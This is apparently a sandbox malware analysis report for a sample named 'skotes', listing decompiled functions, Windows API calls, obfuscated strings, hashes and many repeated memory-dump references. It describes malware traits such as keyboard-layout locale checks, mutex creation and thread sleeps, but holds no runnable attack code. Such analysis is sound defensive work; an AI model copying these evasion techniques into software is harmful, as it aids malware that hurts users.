Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 399df9904393a92b15a5b0b8f16fc0561167006879c33d4a0afa3da5e3b5bcba
Instruction ID: 189ca7125f3d1b193178d6da0bb7650f186c0c176f26771b5af944c7b3344133
Opcode Fuzzy Hash: 399df9904393a92b15a5b0b8f16fc0561167006879c33d4a0afa3da5e3b5bcba
Instruction Fuzzy Hash: AFB1CE719002689BEB24DB24CC84BDEB7B9EF15300F5442D9E118E7291DB74AFA8CF95

Function 00B77D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B77ED3

Strings

JjssPV==, xrefs: 00B781E2
JjsrPl==, xrefs: 00B7828A
JjssOl==, xrefs: 00B7813A
(q, xrefs: 00B77DBD
JjsrQV==, xrefs: 00B78092

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: (q$JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-4229216341
Opcode ID: 6c8434d2574a466c80c3b17d9bd82bfaf74fee6d943bfc665db0f71ebf36556c
Instruction ID: 8c631e9d16ec98da8333eeb457804ae3080cef46e8fe5dde691aa9e881fcec1f
Opcode Fuzzy Hash: 6c8434d2574a466c80c3b17d9bd82bfaf74fee6d943bfc665db0f71ebf36556c
Instruction Fuzzy Hash: 6EE1E770E002449BDB25BB28CD5B79D7BE1EB41724F9482D9E4296B3D2EF754E8087C2

Function 00BB1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB1775: CreateFileW.KERNEL32(00000000,00000000,?,00BB1B65,?,?,00000000,?,00BB1B65,00000000,0000000C), ref: 00BB1792

__dosmaperr.LIBCMT ref: 00BB1BD7
GetFileType.KERNEL32(00000000), ref: 00BB1BE3
__dosmaperr.LIBCMT ref: 00BB1BF6
__dosmaperr.LIBCMT ref: 00BB1D9C

Strings

H, xrefs: 00BB1D21

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: c20cad5f1503f9510ec0b1093071013d19293501757bc18c61747f4712249cc9
Instruction ID: 6286686ec06af509815a6dae57e24b1da1f3c6e82b601fab546297ad4817a802
Opcode Fuzzy Hash: c20cad5f1503f9510ec0b1093071013d19293501757bc18c61747f4712249cc9
Instruction Fuzzy Hash: F3A10432A081488FCF19DF6CCCA1BFE7BE1EB17320F144599E811AF291EAB59912C751

Function 00B77590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,EB1D7F10,?,00000000,00BB9138,000000FF), ref: 00B775CC
CreateThread.KERNEL32(00000000,00000000,00B77430,00BD8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00B776BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B776C9

Part of subcall function 00B8D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00B8D17B

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 07e386fb91bd3c9862b07b91d18239b4fa27c89dc17683d59efbedc1fc24fe21
Instruction ID: 41bd869fb79790edfe09987dfa208ead6c74b1cb3603282ab7ed8e025c5fe075
Opcode Fuzzy Hash: 07e386fb91bd3c9862b07b91d18239b4fa27c89dc17683d59efbedc1fc24fe21
Instruction Fuzzy Hash: 31511470241248ABEB18DF28DC95F8C7BE1EB05315F50869AF819973E1EF75D880CB91

Function 00BA6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00BA6EE6), ref: 00BA6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00BA7030
__dosmaperr.LIBCMT ref: 00BA70C5

Part of subcall function 00BA732A: __dosmaperr.LIBCMT ref: 00BA735F

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: d8535d402419c511e7fdeaa0eb0dfe9d8ceef168d0521b351fa96b1ccc2f79a7
Instruction ID: a15b66abc5c7e64cf33d58ebe1cfd6159e88c3c0caf9d0d9a49faea73c33fa9f
Opcode Fuzzy Hash: d8535d402419c511e7fdeaa0eb0dfe9d8ceef168d0521b351fa96b1ccc2f79a7
Instruction Fuzzy Hash: E8416E7194C204ABDB24EFB5DC419AFB7F9EF8A300B10496EF956E3210EB309944CB61

Function 00B79BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B79BA8
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
